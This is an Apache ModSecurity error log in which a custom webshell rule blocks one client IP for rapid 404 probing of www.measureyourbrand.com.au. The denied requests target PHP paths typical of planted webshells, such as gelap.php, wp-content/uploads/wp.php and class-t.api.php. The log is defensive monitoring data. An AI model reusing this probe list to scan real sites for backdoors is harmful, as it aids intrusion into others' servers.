[Mon Dec 15 20:42:15.451202 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16509] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aUACJxaJK6javjid3xy2kgAAARM"]
[Mon Dec 15 20:42:15.696422 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:16365] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aUACJ3FdnrU7ASwItVLg5AAAANA"]
[Mon Dec 15 20:42:16.031536 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16276] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aUACKAN06qRtpJxyxHihWwAAAJU"]
[Mon Dec 15 20:42:16.257305 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16355] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aUACKBaJK6javjid3xy2lAAAAQg"]
[Mon Dec 15 20:42:16.466216 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16286] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aUACKBaJK6javjid3xy2lQAAAQY"]
[Mon Dec 15 20:42:16.829663 2025] [:error] [pid 31373:tid 31409] [client 4.194.147.174:16305] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v4.php"] [unique_id "aUACKHFdnrU7ASwItVLg5QAAAMQ"]
[Mon Dec 15 20:42:17.096020 2025] [:error] [pid 31374:tid 31440] [client 4.194.147.174:16206] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aUACKZzSh8b7uk6RWiFiXQAAAEg"]
[Mon Dec 15 20:42:17.455602 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16342] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aUACKRaJK6javjid3xy2mQAAAQU"]
[Mon Dec 15 20:42:17.634842 2025] [:error] [pid 31374:tid 31436] [client 4.194.147.174:16289] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aUACKZzSh8b7uk6RWiFiXwAAAEQ"]
[Mon Dec 15 20:42:18.017109 2025] [:error] [pid 31374:tid 31454] [client 4.194.147.174:16219] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aUACKpzSh8b7uk6RWiFiYQAAAFY"]
[Mon Dec 15 20:42:18.242932 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16374] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aUACKnFdnrU7ASwItVLg6AAAAMM"]
[Mon Dec 15 20:42:18.564657 2025] [:error] [pid 31373:tid 31427] [client 4.194.147.174:16344] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aUACKnFdnrU7ASwItVLg6gAAANY"]
[Mon Dec 15 20:42:18.813024 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16234] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aUACKpzSh8b7uk6RWiFiZgAAAFI"]
[Mon Dec 15 20:42:19.027730 2025] [:error] [pid 31374:tid 31432] [client 4.194.147.174:16318] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aUACK5zSh8b7uk6RWiFiZwAAAEA"]
[Mon Dec 15 20:42:19.247646 2025] [:error] [pid 31373:tid 31414] [client 4.194.147.174:16138] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aUACK3FdnrU7ASwItVLg8AAAAMk"]
[Mon Dec 15 20:42:19.504229 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16220] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aUACKxaJK6javjid3xy2mwAAARM"]
[Mon Dec 15 20:42:19.722213 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:16266] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aUACK5zSh8b7uk6RWiFibAAAAFQ"]
[Mon Dec 15 20:42:20.283671 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16281] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "aUACLBaJK6javjid3xy2nQAAAQA"]
[Mon Dec 15 20:42:20.480186 2025] [:error] [pid 31459:tid 31472] [client 4.194.147.174:16297] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aUACLDqerS0TDpViRztoLgAAAAs"]
[Mon Dec 15 20:42:20.722626 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16197] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aUACLBaJK6javjid3xy2nwAAAQs"]
[Mon Dec 15 20:42:20.962386 2025] [:error] [pid 31459:tid 31461] [client 4.194.147.174:16302] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aUACLDqerS0TDpViRztoMAAAAAA"]
[Mon Dec 15 20:42:21.262331 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:16230] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gelap.php"] [unique_id "aUACLXFdnrU7ASwItVLg-wAAAM8"]
[Mon Dec 15 20:42:21.452231 2025] [:error] [pid 31372:tid 31380] [client 4.194.147.174:16193] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aUACLQN06qRtpJxyxHihXwAAAIQ"]
[Mon Dec 15 20:42:21.655518 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:16314] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aUACLQN06qRtpJxyxHihYQAAAIE"]
[Mon Dec 15 20:42:21.831617 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:16290] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aUACLQN06qRtpJxyxHihYgAAAJE"]
[Mon Dec 15 20:42:22.008177 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:16200] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aUACLnFdnrU7ASwItVLg_AAAANA"]
[Mon Dec 15 20:42:22.268002 2025] [:error] [pid 52155:tid 52165] [client 4.194.147.174:16284] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aUACLhaJK6javjid3xy2pAAAAQc"]
[Mon Dec 15 20:42:22.464871 2025] [:error] [pid 31459:tid 31464] [client 4.194.147.174:16249] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aUACLjqerS0TDpViRztoNgAAAAM"]
[Mon Dec 15 20:42:22.692650 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:16307] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aUACLhaJK6javjid3xy2pQAAARc"]
[Mon Dec 15 20:42:22.902025 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:16265] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/000.php"] [unique_id "aUACLjqerS0TDpViRztoNwAAABg"]
[Mon Dec 15 20:42:23.187082 2025] [:error] [pid 52155:tid 52171] [client 4.194.147.174:16252] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUACLxaJK6javjid3xy2qAAAAQ0"]
[Mon Dec 15 20:42:23.376226 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16162] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUACLxaJK6javjid3xy2qQAAAQk"]
[Mon Dec 15 20:42:23.637325 2025] [:error] [pid 52155:tid 52178] [client 4.194.147.174:16203] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUACLxaJK6javjid3xy2rQAAARQ"]
[Mon Dec 15 20:42:24.154840 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16329] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aUACMDqerS0TDpViRztoPQAAAAY"]
[Mon Dec 15 20:42:24.562659 2025] [:error] [pid 31374:tid 31456] [client 4.194.147.174:16354] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUACMJzSh8b7uk6RWiFicgAAAFg"]
[Mon Dec 15 20:42:24.803707 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16379] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUACMBaJK6javjid3xy2sQAAAQ8"]
[Mon Dec 15 20:42:25.049122 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:16279] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUACMZzSh8b7uk6RWiFidAAAAFc"]
[Mon Dec 15 20:42:25.323367 2025] [:error] [pid 31373:tid 31424] [client 4.194.147.174:16292] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUACMXFdnrU7ASwItVLhAQAAANM"]
[Mon Dec 15 20:42:25.527698 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16296] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aUACMRaJK6javjid3xy2tQAAARU"]
[Mon Dec 15 20:42:25.850228 2025] [:error] [pid 31459:tid 31468] [client 4.194.147.174:16346] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "aUACMTqerS0TDpViRztoRAAAAAc"]
[Mon Dec 15 20:42:30.122764 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:16205] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aUACNpzSh8b7uk6RWiFigwAAAEw"]
[Mon Dec 15 20:42:30.432112 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:16298] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aUACNgN06qRtpJxyxHihbAAAAIA"]
[Mon Dec 15 20:42:30.737471 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:16210] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aUACNpzSh8b7uk6RWiFihQAAAFc"]
[Mon Dec 15 20:42:31.001937 2025] [:error] [pid 31373:tid 31418] [client 4.194.147.174:16317] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/o.php"] [unique_id "aUACN3FdnrU7ASwItVLhCAAAAM0"]
[Mon Dec 15 20:42:31.454049 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16231] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aUACN5zSh8b7uk6RWiFihwAAAFA"]
[Mon Dec 15 20:42:31.781410 2025] [:error] [pid 31459:tid 31466] [client 4.194.147.174:16214] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aUACNzqerS0TDpViRztoaQAAAAU"]
[Mon Dec 15 20:42:32.050423 2025] [:error] [pid 31373:tid 31415] [client 4.194.147.174:16328] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aUACOHFdnrU7ASwItVLhCQAAAMo"]
[Mon Dec 15 20:42:32.397730 2025] [:error] [pid 31374:tid 31441] [client 4.194.147.174:16248] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aUACOJzSh8b7uk6RWiFiiAAAAEk"]
[Mon Dec 15 20:42:32.873847 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16195] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUACOBaJK6javjid3xy2vgAAAQ8"]
[Mon Dec 15 20:42:33.111663 2025] [:error] [pid 31373:tid 31413] [client 4.194.147.174:16196] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUACOXFdnrU7ASwItVLhDQAAAMg"]
[Mon Dec 15 20:42:33.498151 2025] [:error] [pid 31374:tid 31435] [client 4.194.147.174:16227] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUACOZzSh8b7uk6RWiFijwAAAEM"]
[Mon Dec 15 20:42:33.802461 2025] [:error] [pid 31374:tid 31439] [client 4.194.147.174:16247] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUACOZzSh8b7uk6RWiFikgAAAEc"]
[Mon Dec 15 20:42:34.057884 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16446] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aUACOnFdnrU7ASwItVLhEAAAAMM"]
[Mon Dec 15 20:42:34.265109 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16233] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aUACOhaJK6javjid3xy2xAAAAQ4"]
[Mon Dec 15 20:42:34.459583 2025] [:error] [pid 31374:tid 31432] [client 4.194.147.174:16213] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aUACOpzSh8b7uk6RWiFilAAAAEA"]
